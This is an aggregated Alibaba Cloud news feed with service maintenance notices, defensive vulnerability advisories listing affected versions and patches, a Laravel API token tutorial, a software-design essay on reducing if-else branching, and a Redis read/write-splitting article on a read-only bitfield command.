【升级】10月17日CNNIC注册局系统维护通知 Fri, 02 May 2025 09:39:03 +0800

【阿里云】【域名】【注册局维护通知】

维护时间:北京时间2020年10月17日 08:00 - 22:00

维护内容:接到注册局的通知,注册局将于上述时间对后台系统进行维护升级。

维护影响:届时 .cn/.中国 域名的注册、续费、信息修改和查询域名注册信息等操作,将会无法使用,在此期间会对您造成的影响如下:

1、您提交的域名注册、续费、转入、赎回、一口价域名购买等业务在支付费用后状态为“处理中”,待维护结束后将变为相应的处理结果和状态。

2、维护过程中,您无法对域名注册信息进行修改,将提示修改失败。

3、维护过程中,您无法下载相关域名的域名证书,将提示下载失败。

4、维护过程中,.cn/.中国域名实名认证不能正常提交至注册局,将为“审核中”状态,待维护结束后按顺序提交。

如果您需要注册或管理以上业务操作,建议您避开该时间段,以免给您的业务造成影响。

由此给您带来的不便,我们表示歉意,敬请谅解。

]]>
【升级】10月21日Datahub公有云2.18版本产品稳定性升级通知 Fri, 02 May 2025 09:39:03 +0800

【阿里云】【Datahub】【产品稳定性升级】

升级窗口:北京时间2020年10月21日 10:00 - 19:00

升级内容:

1. 公有云HTTPS证书更新

2. 版本统一升级到2.18版本

升级区域:华北,华东,华南,新加坡,吉隆坡,孟买,德国

升级影响:在升级过程中,有服务短暂抖动重试,属于正常现象,其他如有任何问题,可点击联系我们进行咨询反馈。

给您带来的不便敬请谅解。

]]>
【漏洞预警】Apache Solr configset upload文件上传漏洞(CVE-2020-13957) Fri, 02 May 2025 09:39:03 +0800

2020年10月13日,阿里云应急响应中心监测到Apache Solr发布安全更新,其中修复了CVE-2020-13957 Apache Solr configset upload文件上传漏洞。攻击者通过构造特定的请求,成功利用该漏洞可直接获取服务器权限。


漏洞描述

Apache Solr是一个开源的搜索服务,使用Java语言开发。Apache Solr Configset Api上传功能存在未授权漏洞。在特定条件下,攻击者可以构造特定请求,上传相关恶意文件,从而直接获取到服务器权限。阿里云应急响应中心提醒Solr用户尽快采取安全措施阻止漏洞攻击。


影响版本

Apache Solr 6.6.0 - 6.6.5

Apache Solr 7.0.0 - 7.7.3

Apache Solr 8.0.0 - 8.6.2


安全版本

Apache Solr 8.6.3


安全建议

1. 升级至安全版本

2. 如果未使用ConfigSets API,请禁用UPLOAD命令,将系统属性: configset.upload.enabled 为 false ,可参考官方文档:https://lucene.apache.org/solr/guide/8_6/configsets-api.html

3. 增加身份验证/授权,可参考官方文档:https://lucene.apache.org/solr/guide/8_6/authentication-and-authorization-plugins.html

4. 使用在SOLR-14663中提到的补丁程序:https://issues.apache.org/jira/browse/SOLR-146634

5. 禁止Solr API 以及管理 UI 直接对公网开放。设置防火墙,以便只允许受信任的计算机和人员访问。


相关链接

https://issues.apache.org/jira/browse/SOLR-14925

https://issues.apache.org/jira/browse/SOLR-14663



阿里云云安全中心应急漏洞模块已支持对该漏洞一键检测

阿里云云防火墙已可防御此漏洞攻击


我们会关注后续进展,请随时关注官方公告。

如有任何问题,可随时通过工单或服务电话95187联系反馈。

阿里云应急响应中心

2020.10.13

]]>
【漏洞预警】Windows TCP/IP远程执行代码漏洞(CVE-2020-16898) Fri, 02 May 2025 09:39:03 +0800

2020年10月13日,阿里云应急响应中心监测到微软发布补丁修复了TCP/IP远程执行代码漏洞(CVE-2020-16898),官方评级严重。目前微软官方已提供相应的月度安全补丁以修复该漏洞。


漏洞描述

微软官方于10月13日发布安全更新,其中修复了一个TCP/IP远程执行代码漏洞(CVE-2020-16898),攻击者通过构造并发送恶意的ICMPv6(路由通告)数据包,从而控制目标主机。同时,微软10月补丁中还涉及其他多个高危漏洞,阿里云应急响应中心提醒 Windows 用户尽快安装补丁阻止漏洞攻击。


漏洞评级

CVE-2020-16898 严重


影响版本

Windows Server 2019

Windows Server 2019 (Server Core installation)

Windows Server, version 1903 (Server Core installation)

Windows Server, version 1909 (Server Core installation)

Windows Server, version 2004 (Server Core installation)


安全建议

1、前往微软官方下载相应补丁进行更新:https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16898

2、阿里云云安全中心Windows系统漏洞模块已支持对该漏洞补丁一键检测和修复,详情登陆云安全中心

Windows Server 2019 补丁:KB4577668



3、可以通过禁用ICMPv6 RDNSS来缓解风险。

使用以下PowerShell命令禁用ICMPv6 RDNSS,以防止攻击者利用此漏洞。此解决方法仅适用于Windows 1709及更高版本。

netsh int ipv6 set int *INTERFACENUMBER* rabaseddnsconfig=disable


注意:进行更改后,无需重新启动。

可以使用以下PowerShell命令禁用上述缓解方法。

netsh int ipv6 set int *INTERFACENUMBER* rabaseddnsconfig=enable


注意:禁用替代方法后,无需重新启动。


相关链接

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16898



我们会关注后续进展,请随时关注官方公告。

如有任何问题,可随时通过工单或服务电话95187联系反馈。

阿里云应急响应中心

2020.10.13

]]>
【漏洞预警】VMware vCenter任意文件读取漏洞 Fri, 02 May 2025 09:39:03 +0800

2020年10月14日,阿里云应急响应中心监测到VMware vCenter特定版本存在任意文件读取漏洞,攻击者通过构造特定的请求,可以读取服务器上任意文件。


漏洞描述

VMware vCenter 服务器是一种高级服务器管理软件,提供一个用于控制 VMware vSphere 环境的集中式平台。VMware vCenter特定版本存在任意文件读取漏洞,攻击者通过构造特定的请求,可以读取服务器上任意文件。阿里云应急响应中心提醒VMware vCenter用户尽快采取安全措施阻止漏洞攻击。


已知影响版本

VMware vCenter 6.5.0a-f


安全版本

VMware vCenter 6.5u1


安全建议

升级至安全版本


相关链接

https://www.vmware.com/products/vcenter-server.html



阿里云云安全中心应急漏洞模块已支持对该漏洞一键检测


我们会关注后续进展,请随时关注官方公告。

如有任何问题,可随时通过工单或服务电话95187联系反馈。

阿里云应急响应中心

2020.10.14

]]>
【漏洞预警】Nexus Repository Manger 2&3 Shiro身份验证绕过漏洞 Fri, 02 May 2025 09:39:03 +0800

2020年10月15日,阿里云应急响应中心监测到 sonatype官方 发布了 Nexus Repository Manger 2&3 Shiro验证绕过漏洞。


漏洞描述

Sonatype Nexus Repository 是一个开源的仓库管理系统,在安装、配置、使用简单的基础上提供了更加丰富的功能。近日Sonatype官方发布安全公告披露了在Nexus Repository Manager 2 & 3 版本中使用了旧版本的Shiro组件,存在权限绕过漏洞。攻击者可利用该权限绕过漏洞访问到后台功能,并可能导致命令执行。阿里云应急响应中心提醒Nexus Repository Manager 2&3用户尽快采取安全措施阻止漏洞攻击。


影响版本

Nexus Repository Manager OSS/Pro version 2.x < 2.14.19

Nexus Repository Manager OSS/Pro version 3.x < 3.27.0


安全版本

Nexus Repository Manager 2 versions 2.14.19

Nexus Repository Manager 3 versions 3.27.0


安全建议

1. 升级至安全版本

2. 该漏洞检测请参考 【漏洞预警】Apache Shiro < 1.6.0 权限绕过漏洞(CVE-2020-13933)


相关链接

https://support.sonatype.com/hc/en-us/articles/360053556313-CVE-2020-13933-Nexus-Repository-Manger-2-3-Shiro-Authentication-Bypass


阿里云云安全中心应急漏洞模块已支持对该漏洞一键检测


我们会关注后续进展,请随时关注官方公告。

如有任何问题,可随时通过工单或服务电话95187联系反馈。

阿里云应急响应中心

2020.10.15

]]>
【漏洞预警】Adobe Magento 远程代码执行漏洞(CVE-2020-24407) Fri, 02 May 2025 09:39:03 +0800

2020年10月19日,阿里云应急响应中心监测到 Adobe官方发布了 CVE-2020-24407 Magento 远程代码执行漏洞通告。


漏洞描述

Magento是一套专业开源的电子商务系统。近日Adobe官方发布安全公告披露了在 Magento Commerce/Open Source 2.3以及2.4版本中存在CVE-2020-24407远程代码执行、CVE-2020-24400 SQL注入等多个漏洞。在具有管理特权的情况下,攻击者可构造恶意请求,绕过文件上传限制,从而造成远程代码执行,控制服务器。阿里云应急响应中心提醒Magento用户尽快采取安全措施阻止漏洞攻击。


影响版本

Magento Commerce/Open Source <= 2.3.5-p2

Magento Commerce/Open Source <= 2.4.0

Magento Commerce/Open Source <= 2.3.5-p1


安全版本

Magento Commerce/Open Source 2.4.1

Magento Commerce/Open Source 2.3.6


安全建议

升级至安全版本


相关链接

https://helpx.adobe.com/security/products/magento/apsb20-59.html



我们会关注后续进展,请随时关注官方公告。

如有任何问题,可随时通过工单或服务电话95187联系反馈。

阿里云应急响应中心

2020.10.19

]]>
【漏洞预警】Apache Kylin API未授权访问漏洞(CVE-2020-13937) Fri, 02 May 2025 09:39:03 +0800

2020年10月20日,阿里云应急响应中心监测到 Apache Kylin官方修复 CVE-2020-13937 API未授权访问漏洞。


漏洞描述

Apache Kylin™是一个开源的、分布式的分析型数据仓库。近日Apache Kylin官方修复 CVE-2020-13937 API未授权访问漏洞。攻击者可构造恶意请求,访问API地址,可以获取Apache Kylin的相关配置信息,从而导致身份凭证等信息泄漏。阿里云应急响应中心提醒 Apache Kylin 用户尽快采取安全措施阻止漏洞攻击。


影响版本

Kylin 2.x.x

Kylin <= 3.1.0

Kylin 4.0.0-alpha


安全版本

Kylin 3.1.1


安全建议

升级至安全版本


相关链接

https://www.mail-archive.com/dev@kylin.apache.org/msg12170.html



我们会关注后续进展,请随时关注官方公告。

如有任何问题,可随时通过工单或服务电话95187联系反馈。

阿里云应急响应中心

2020.10.20

]]>
3分钟短文:太爽了,用Laravel写API接口!-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 引言

我们一直在讲,通过路由传达到控制器,处理好数据并渲染到视图,但是对于现代的应用,
前后端分离的情况下,后端写个接口就完事儿了。

img

本期为大家说一说用laravel写restful风格的API,看看能有多简单。

以路由开端

写API接口,与传统的渲染前端模板页面有什么区别?少了视图,只需要准备好数据,
并按照规则格式化,返回就可以了。

laravel默认的api接口路由在 routes/api.php 文件内定义,默认的情况下预定义了一个资源类型的api接口,代码如下:

Route::middleware('auth:api')->get('/user', function (Request $request) {
    return $request->user();
});

调用了 auth:api 中间件用于验证用户的授权,如果授权通过,声明的get方法获取用户的信息,并返回 User 模型。这在之前的章节是很常见的操作,我们不做赘述了。

那么这个路由文件,是什么时候加载上去的呢?在文件 app/Providers/RouteServiceProvider.php 内,看这样一段:

protected function mapApiRoutes()
{
    Route::prefix('api')
        ->middleware('api')
        ->namespace($this->namespace)
        ->group(base_path('routes/api.php'));
}

该服务提供者声明路由使用 api 字符前缀,并调用 api 中间件,该中间件定义在 app/Http/Kernel.php 文件内:

protected $middlewareGroups = [
    'api' => [
        'throttle:60,1',
        IlluminateRoutingMiddlewareSubstituteBindings::class,
    ],
];

至于命名空间 $this->namespace 一般返回 AppHttpControllers,我们为了区分API与其他应用,在目录 app/Http/Controller 下创建 API 目录,用于存储所有API相关的控制器。

那么上述的 RouteServiceProvider.php 文件内 mapApiRoutes 方法内的 namespace 需要这样写:

->namespace($this->namespace . 'API')

仍然以 Event 模型作为示例,在 routes/api.php 文件内声明一个资源类型的路由:

Route::resource('/events', 'APIEventsController');

注意命名空间上多出来的前缀 API ,这说明我们是把 EventController 文件放在了 API 目录下。

用户权限

让我们把目光还聚焦在系统默认声明的那条路由:

Route::middleware('auth:api')->get('/user', function (Request $request) {
    return $request->user();
});

注意中间件 auth:api,因为api请求是无状态的,每次请求之间没有任何关联,所以使用用户权限区分资源的返回。那么我们怎么拿到用户授权呢?这在 config/auth.php 文件内定义,看系统自带的这一段配置代码:

'guards' => [
    'api' => [
        'driver' => 'token',
        'provider' => 'users',
        'hash' => false,
    ],
],

这一段定义了我们使用何种方式认证用户的身份。默认的驱动 token 定义在框架文件 laravel/framework/src/Illuminate/Auth/TokenGuard.php 内。长话短说,默认构造类传入的字段如下:

UserProvider $provider,
Request $request,
$inputKey = 'api_token',
$storageKey = 'api_token',
$hash = false

简单说,就是使用 users 表的 api_token 字段用户鉴权。那么默认我们 users 表显然缺少一个这样的字段,现在使用迁移文件补上:

php artisan make:migration add_api_token_field_to_users_table --table=users

首先是迁移方法 up 函数:

public function up()
{
    Schema::table('users', function (Blueprint $table) {
        $table->string('api_token', 60)->unique();
    });
}

还有回滚使用的 down 方法:

public function down()
{
    Schema::table('users', function (Blueprint $table) {
        $table->dropColumn('api_token');
    });
}

这些都是常规操作,我们在之前的章节,使用了N多次了。执行指令迁移数据库:

php artisan migrate

看看效果

准备好了路由,而且路由内声明了一个get方法返回用户模型数据。也准备好了数据库表字段 api_token。我们在数据库表内找到一个用户数据,把api_token值设置为 1234,用于测试。

现在在浏览器内请求类似如下的url地址:

http://www.example.com/api/user?api_token=1234

如无异常,顺利会输出一个 json 字符串,

{
    "id":1,
    "provider":null,
    "provider_id":null,
    "first_name":"Tom",
    "last_name":"Hanks",
    "email":"tom@admin.com",
    "city":"",
    "state_id":null,
    "zip":"43016",
    "lat":null,"lng":null,
    "timezone":"America/New_York",
    "title":"Laravel Developer",
    "created_at":"2020-10-14 17:46:19",
    "updated_at":"2020-10-14 17:46:20",
    "last_login_at":null,
    "is_admin":0,
    "api_token":"1234"
}

这个json格式的数据是怎么来的呢?是在路由内,$request->user() 方法返回的User模型,使用 toArray() 格式化方法获得的。为了演示,很多字段与实际可能有所出入。

特别需要注意的是,关键的密码字段,以及 token 字段,是默认隐藏的,这得益于 User 模型内 $hiden 属性的定义:

protected $hidden = [
    'password', 'remember_token',
];

这些字段都对对外不公开访问。

写在最后

本文介绍了如何声明api地址,已经解释了api从中间件到路由的由来,明白了api授权的方式,可以为我们更灵活地定制授权方式提供便利。这在laravel内都是可插拔的,替换为我们的逻辑代码就可以愉快工作了。

Happy coding :-)

我是@程序员小助手,专注编程知识,圈子动态的IT领域原创作者

]]>
面对复杂业务,if-else coder 如何升级?-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 1.png

作者 | 张建飞  阿里巴巴高级技术专家

导读:针对业务在不同场景下的差异,我们常常会习惯性地使用 if-else 来实现不同的业务逻辑,久而久之代码越来越难以维护。那么如何消除这些 if-else?面对复杂业务应如何思考和分析?本文分享阿里高级技术专家张建飞(Frank)关于复杂业务治理的方法论,介绍一种多维度分析问题的方法:矩阵分析法。

You should not be a if-else coder, should be a complexity conquer. 
——Frank

这篇文章,是对之前我在《阿里高级技术专家方法论:如何写复杂业务代码?》说的“自上而下的结构化分解 + 自下而上的抽象建模”方法论的升级。因为在之前的方法论中,我们缺少一个多维度看问题的视角,这种维度思维的缺失,可能会导致 miss 掉一些重要的业务信息,从而使我们制定软件设计策略的时候,陷入困难。

有了维度思维,我们便可以更加方面的去看清业务的全貌,更加全面的掌握业务信息,从而帮助我们更加体系化的去治理复杂性。

从 if-else 说起

我经常说,我们不要做一个 if-else coder。这里的 if-else,不是说我们在 coding 的时候不能使用 if-else,而是说我们不应该简陋地用 if-else 去实现业务的分支流程,因为这样随意的代码堆砌很容易堆出一座座“屎山”。

业务的差异性是 if-else 的根源。以零售通的商品业务为例。不同的处理场景,其业务逻辑实现是有差异性的。如下图所示,商品业务的差异性,主要体现在商品类型、销售方式和仓储方式的不同。

2.png

这三个维度上的差异组合起来,有 2 3 2 = 12 之多。这就是为什么在老代码中,到处可以看到 if(组合品) blabla,if(赠品) blabla,if(实仓) blabla 之类的代码。

那么,要如何消除这些讨厌的 if-else 呢?我们可以考虑以下两种方式:

  • 多态扩展:利用面向对象的多态特性,实现代码的复用和扩展。
  • 代码分离:对不同的场景,使用不同的流程代码实现。这样很清晰,但是可维护性不好。

1. 多态扩展

多态扩展可以有继承和组合两种方式。继承勿用多言,组合有点像策略模式,也就是把需要扩展的部分封装、抽象成需要被组合的对象,然后对其进行扩展,比如星环的能力扩展点就是这种方式。

这里,我们举一个继承的例子,商品在上架的时候要检查商品的状态是否可售,普通商品(Item)检查自己就好了,而组合商品(CombineItem)需要检查每一个子商品。

用过程式编码的方式,很容易就能写出如下的代码:

public void checkSellable(Item item){
    if (item.isNormal()){
        item.isSellable(); 
        //省略异常处理
    }
    else{
        List<Item> childItems = getChildItems();
        childItems.forEach(childItem -> childItem.isSellable()); 
        //省略异常处理
    }
}

然而,这个实现不优雅,不满足 OCP,也缺少业务语义显性化的表达。更好的做法是,我们可以把 CombineItem 和 Item 的关系通过模型显性化的表达出来。

3.png

这样一来,一方面模型正确的反应了实体关系,更清晰了。另一方面,我们可以利用多态来处理CombineItem和Item的差异,扩展性更好。重构后,代码会变成:

public void checkSellable(Item item){
    if (!item.isSellable()){
        throw new BizException("商品的状态不可售,不能上架");
    }
}

2. 代码分离

所谓的代码分离是指,对于不同的业务场景,我们用不同的编排代码将他们分开。以商品上架为例,我们可以这样写:

/**
* 1. 普通商品上架
*/
public void itemOnSale(){
    checkItemStock();//检查库存
    checkItemSellable();//检查可售状态
    checkItemPurchaseLimit();//检查限购
    checkItemFreight();//检查运费
    checkItemCommission();//检查佣金
    checkItemActivityConflict();//检查活动冲突

    generateCspuGroupNo();//生成单品组号
    publishItem();//发布商品
}

/**
* 2. 组合商品上架
*/
public void combineItemOnSale(){
    checkCombineItemStock();//检查库存
    checkCombineItemSellable();//检查可售状态
    checkCombineItemPurchaseLimit();//检查限购
    checkCombineItemFreight();//检查运费
    checkCombineItemCommission();//检查佣金
    checkCombineItemActivityConflict();//检查活动冲突

    generateCspuGroupNo();//生成单品组号
    publishCombineItem();//发布商品
}

/**
* 3. 赠品上架
*/
public void giftItemOnSale(){
    checkGiftItemSellable();//检查可售状态
    publishGiftItem();//发布商品
}

这种方式,当然也可以消除 if-else,彼此独立,也还清晰。但复用性是个问题。

3. 多维分析

细心的你可能已经发现了,在上面的案例中,普通商品和组合商品的业务流程基本是一样的。如果采用两套编排代码,有点冗余,这种重复将不利于后期代码的维护,会出现散弹式修改(一个业务逻辑要修改多处)的问题。

一个极端情况是,假如普通商品和组合商品,只有 checkSellable() 不一样,其它都一样。那毫无疑问,我们使用有多态(继承关系)的 CombineItem 和 Item 来处理差异,会更加合适。

而赠品上架的情况恰恰相反,它和其他商品的上架流程差异很大。反而不适合和他们合用一套流程代码,因为这样反而会增加他人的理解成本。还不如单独起一个流程来的清晰。

那么,问题来了,我们什么时候要用多态来处理差异,什么时候要用代码分离来处理差异呢?

接下来,是我今天要给你着重介绍的多维度分析问题的方法论之一:矩阵分析法。

我们可以弄一个矩阵,纵列代表业务场景,横列代表业务动作,里面的内容代表在这个业务场景下的业务动作的详细业务流程。对于我们的商品业务,我们可以得到如下的矩阵:

4.png

通过上面的矩阵分析,我们不难看出普通品和组合品可以复用同一套流程编排代码,而赠品和出清品的业务相对简单,更适合有一套独立的编排代码,这样的代码结构会更容易理解。

维度思维

1. 多维度的重要性

上面的案例不是我编造出来的,而是我在和张文(我同事)讨论应该用哪种方式去处理业务差异的真实故事。

我记得在和大学讨论完,开车回去的路上,我一直在想这个问题,然后在第二个路口等红灯的时候,突然有一个灵感冒出来。我抑制不住兴奋,一边开车,一边发消息给张文说:“我想到了一个很 NB 的方法论,能解决在‘多态扩展’和‘代码分离’之间如何做选择的问题”。

其实,我知道我兴奋的不仅仅是解决了这个问题。我兴奋的是,我第一次真正领悟到了多维度思考的重要性。从而有机会从一个“单维度”生物,升级成一个“多维度”思考者。妈妈再也不用担心我被“降维打击”了 :)

结构化思维有用、很有用、非常有用,只是它更多关注的是单向维度的事情。比如我要拆解业务流程,我要分解老板给我的工作安排,我要梳理测试用例,都是单向维度的。

而复杂性,通常不仅仅是一个维度上的复杂,而是在多个维度上的交叉复杂性。当问题涉及的要素比较多,彼此关联关系很复杂的时候,两个维度肯定会比一个维度要来的清晰,这也是为什么说矩阵思维是比结构化思维更高层次的思维方式。

实际上,我们从汉语的词汇上,也不难看出一个人的思维层级,是和他的思考维度正相关的。当我们说这个人很“轴”、“一根筋”的时候,实际上是在说他只有一维的线性思维。所以,观察事物的视角越多,维度越丰富,其思维层级也会越高。

5.png

2. 无处不在的多维思考

有了这些感悟,我开始系统的整理关于多维度思考分析的资料,发现这种思考方式真是无处不在。发现的越多,我越是感慨,为什么如此重要的思维方式,我到现在才领悟到。

1)波士顿矩阵

比如,在做产品分析的时候,有对产品发展前景进行分析的波士顿矩阵。

6.png

2)订单要素分析

当年,我在 1688 做交易下单业务的时候,有非常多的下单场景,每种场景下,买家享受的权益是不一样的(如下表所示)。我们当时也是使用了矩阵去表达这个复杂的关系,只是当时还没有想到要将其提升到方法论的高度。

7.png

3)数据交叉分析

在数据分析中,维度分析是非常重要的,特别是维度很多的时候,我们可以通过皮尔逊积矩相关系数,做交叉分析,从而弥补独立维度分析没法发现的一些问题。

8.png
简单相关系数矩阵

4)分析矩阵

最近我碰巧看到 Alan Shalloway 写的《设计模式解析:Design Patterns Explained》,这是一本非常经典的关于 OOP 的书,里面的第十六章就是专门讲“分析矩阵”的,作者创造这个方法论的初衷也是因为业务涉及的要素太多,信息量太大,他需要一种组织海量数据的新方式。

9.png

我和 Alan 的路径不一样,但是都得出了同样的结论。由此可见,这种矩阵分析的方式的确是对复杂业务进行分析的一把利器,业务场景越多,交叉关系越是复杂,越需要这样的分析。

5)组织阵型

生产关系决定生产力,对于一个管理者来说,如何有效的设置组织结构是决定团队是否能高效协作的关键。所以我们可以看到公司里面,每年都有比较大的关于组织结构和人员安排的调整。

对于技术团队来说,我们习惯于按领域划分工作范围,这样做的好处是责任到人、职责清晰。然而,领域只是一个维度,我们工作通常都是以项目的形式的开展,而项目通常是贯穿多个领域的。所以,在做团队组织规划的时候,我们可以通过业务领域和业务项目两个维度去看。

比如,在我负责的商品团队,我会按照如下的形式去做职责划分。

10.png

6)时间维度

除了工作,生活中也到处可见多维思考的重要性。

比如,我们说浪费可耻,应该把盘子舔的很干净,岂不知加上时间维度之后,你当前的舔盘,后面可能要耗费更多的资源和精力去减肥,反而会造成更大的浪费。

我们说代码写的丑陋,是因为要“快速”支撑业务,加上时间维度之后,这种临时的妥协,换来的是意想不到的 bug,线上故障,以及无止尽的 996。

7)RFM 模型

简单的思考是“点”状的,比如舔盘、代码堆砌就是当下的“点”;好一点的思考是“线”状,加上时间线之后,不难看出“点”是有问题的;再全面一些的思考是“面”(二维);更体系化的思考是“体”(三维);比如,RFM 模型就是一个很不错的三维模型。可惜的是,在表达上,我们人类只能在二维的空间里去模拟三维,否则四维可能会更加有用。

11.png

复杂业务治理总结

在前言部分,我已经说过了,多维分析是对之前方法论的升级。加上以前的方法论,完整的方法论应该是“业务理解-->领域建模-->流程分解-->多维分析”。

为了方便大家理解,下面我把这些方法论做一个简单的串联和解释。

1. 业务理解

理解业务是所有工作的起点。首先,我们要找到业务的核心要素,理解核心概念,梳理业务流程。

比如,在零售通的商品域,我们要知道什么是商品(Item),什么是单品(CSPU),什么是组合品(CombineItem)。在下单域,我们要知道订单(order)的构成要素是商品、优惠、支付。在 CRM 领域,我们要理解客户、机会、联系人、Leads 等等。

这里,我想再次强调下语言的重要性,语言是我们思考的载体,就像维特根斯坦说的:“凡是能够说的事情,都能够说清楚”。

你不应该放过任何一个模糊的业务概念,一定要透彻的理解它,并给与合理的命名(Ubiquitous Language)。唯有如此,我们才能更加清晰的理解业务,才能更好的开展后续的工作。

2. 领域建模

在软件设计中,模型是指实体,以及实体之间的联系,这里需要我们具备良好的抽象能力。能够透过庞杂的表象,找到事务的本质核心。

再复杂的业务领域,其核心概念都不应该太复杂,抓住了核心,我们就抓住了主线,业务往往都是围绕着这些核心实体展开的。

比如,商品域虽然很复杂,但其核心的领域模型,无外乎就如下图所示:

12.png

3. 流程分解

关于流程分解,在《阿里高级技术专家方法论:如何写复杂业务代码?》里面已经有非常详细的阐述,这里就不赘述了。

简单来说,流程分解就是对业务过程进行详细的分解,使用结构化的方法论(先演绎、后归纳),最后形成一个金字塔结构。

比如,在商品领域,有创建商品、商品上架、上架审核、商品下架、下架审核、修改商品、删除商品等一些列动作(流程),每个动作的背后都有非常复杂的业务逻辑。我们需要对这些流程进行详细的梳理,然后按步骤进行分解。最后形成一个如下的金字塔结构:

13.png

4. 多维分析

关于多维分析,我以二维的矩阵分析为例,我想我前面应该已经说清楚了。

业务的复杂性主要体现在流程的复杂性和多维度要素相互关联、依赖关系上,结构化思维可以帮我们梳理流程,而矩阵思维可以帮忙我们梳理、呈现多维度关联、依赖关系。二者结合,可以更加全面的展现复杂业务的全貌。从而让我们的治理可以有的放矢、有章可循。

既然是方法论,在这里,我会尝试给出一个矩阵分析的框架。试想下,如果我们的业务很简单,只有一个业务场景,没有分支流程。我们的系统不会太复杂。之所以复杂,是因为各种业务场景互相叠加、依赖、影响。

因此,我们在做矩阵分析的时候,纵轴可以选择使用业务场景,横轴是备选维度,可以是受场景影响的业务流程(如文章中的商品流程矩阵图),也可以是受场景影响的业务属性(如文章中的订单组成要素矩阵图),或者任何其它不同性质的“东西”。

14.png

通过矩阵图,可以清晰的展现不同场景下,业务的差异性。基于此,我们可以定制满足差异性的最佳实现策略,可能是多态扩展,可能是分离的代码,也可能是其它。

这就是矩阵分析的要义,其本质是一种多维度思考的方法论。

篇后寄语

最后,我想说世界是熵增的(即万物都在缓慢的分崩离析),控制复杂度是我们这些从业者无法推卸的责任和使命。

软件行业的发展才几十年,还是一门年轻的学科,软件工程就像一个刚学会走路的小孩,还很不成熟,有时还很幼稚。

但毕竟还是有几十年的沉淀,还是有一些好的方法和实践可以参考,我的这些总结沉淀只是在前人的基础上,多走了一点点而已。但就是这一点点,也实属来自不易,其中冷暖,只有自己能体会。可以说,这一路走来,是一场对心力、脑力和体力的持续考验。

15.png

  • 心力是指不将就的匠心,不妥协的决心,不满足的好奇心、以及不放弃的恒心。
  • 脑力是指那些必要的思维能力、学习能力、思考能力、思辨能力。
  • 之所以说“业务理解-->领域建模-->流程分解-->多维分析”是体力,是因为实现它们就像是在做填空题,只要你愿意花时间,再复杂的业务都可以按部就班的清晰起来。

梳理清晰了,再配合 COLA(https://start.aliyun.com/)的指导,我们就有可能写出清晰、易读的代码,就有可能从一个 if-else coder 升级为一个 complexity conquer。

而这不正是我们工程师孜孜不倦的追求吗?

阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的公众号。”

]]>
阿里云rds并发性能解读-大分区表高并发性能提升100倍?-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 阿里云某客户发现自己使用读写分离实例,master的cpu特别高,而读写分离中承担读流量的slave节点却相对空闲。用户CPU打满后,访问到主节点的的线上服务受到了较大影响。关于阿里云RDS请参考云数据库RDS详情链接

Redis读写分离实例的原理是:key统一写入到master,然后通过主从复制同步到slave,用户的请求通过proxy做判断,如果是写请求,转发到master;如果是读请求,分散转发到slave,这种架构适合读请求数量远大于写请求数量的业务,读写分离架构示意图如下所示。
1.png
阿里云Redis读写分离版读写命令转发示例

bitfield命令

经过和客户沟通查看后,客户使用了大量的bitfield做读取,首先介绍一下这个命令的用法和场景,bitfield 是针对bitmap数据类型操作的命令,bitmap通常被用来在极小空间消耗下通过位的运算(AND/OR/XOR/NOT)实现对状态的判断,常见的使用场景例如:

  • 通过bitmap来记录用户每天应用登录状态,即如果$ID用户登录,就SETBIT logins:20200404 $ID 1,表示用户$ID在20200404这一天登录了,通过BITCOUNT logins:20200404可以得到这一天所有登录过的用户数量;通过对两天的记录求AND,可以判断哪个用户连续两天登录了,即BITOP AND logins:20200404-05 logins:20200404 logins:20200404。
    判断用户是否阅读了共同的文章,观看了共同的视频等。

前一阵子,答题领奖活动非常火爆,“答对12道题的同学有机会瓜分奖池”,这种如果使用bitmap来实现,就非常容易判断出用户是否全部答对。

1.png
一个使用Redis BITMAP设计的答题游戏系统

答题系统设计如:

  • 每个用户每轮答题,设置一个key,比如user1在第一轮答题的key是 round:1:user1
    每答对一道题,设置相关的bit为1,比如user1答对了第5题,那么就设置第5个bit为1就可以了,如: SETBIT round:1:user1 5 1 ;如果用户1在第一轮答对了第9题,那么就把第9个bit设置为1,SETBIT round:1:user1 9 1;值得注意的是,bitfield默认bit都是0,答错可以不设置

计算用户总共答对了几道题,就可以使用 BITCOUNT 命令统计1的bit个数。如user1答对了3道题,user2在第一轮全部答对,那么user2就有机会参与答题(第1轮)的后续玩法

可见,Redis的bitmap接口可以用非常高的存储效率和计算加速效果。回到bitfiled命令,它的语法如下所示:

BITFIELD key  
[GET type offset] // 获取指定位的值
[SET type offset value] // 设置指定位的值
[INCRBY type offset increment] // 增加指定位的值
[OVERFLOW WRAP|SAT|FAIL] // 控制INCR的界限

读写分离实例处理bitfield的问题

从上文可知,bitfield的子命令中,GET命令是读属性,SET/INCRBY命令为写属性,因此Redis将其归类为写属性,从而只能被转发到master实例,如下图所示为bitfield的路由情况。

1.png

这就是为什么客户使用了读写分离版,而只有master节点cpu使用高,其余slave节点却没有收到这个命令的打散的原因。

解决方案

  • 方案一:改造Redis内核,将bitfield命令属性标记为读属性,但是当其包含SET/INCRBY等写属性的子命令时候,仍旧将其同步到slave等。此方案优点是外部组件(proxy和客户端)不需要做修改,缺点是需要对bitfiled命令做特殊处理,破坏引擎命令统一处理的一致性。
    方案二:增加bitfield_ro命令,类似于georadius_ro命令,用来只支持get选项,从而作为读属性,这样就避免了slave无法读取的问题。此方案优点是方案清晰可靠,缺点是需要proxy和客户端做适配才能使用。

经过讨论,最终采取了方案二,因为这个方案更优雅,也更标准化。

添加bitfield_ro

{"bitfield_ro",bitfieldroCommand,-2,
"read-only fast @bitmap",
0,NULL,1,1,1,0,0,0},

完成之后,下图是在slave上执行bitfield_ro命令,可以看到被正确执行。

tair-redis > SLAVEOF 127.0.0.1 6379
OK
tair-redis > set k v
(error) READONLY You can't write against a read only replica.
tair-redis > BITFIELD mykey GET u4 0
(error) READONLY You can't write against a read only replica.
tair-redis > BITFIELD_RO mykey GET u4 0
1) (integer) 0

Proxy转发

为了保持用户不做代码修改,我们在proxy上对bitfiled命令做了兼容,即如果用户的bitfield命令只有get选项,proxy会将此命令转换为bitfield_ro分散转发到后端多个节点上,从而实现加速,用户不用做任何改造即可完成加速,如下图所示。

1.png

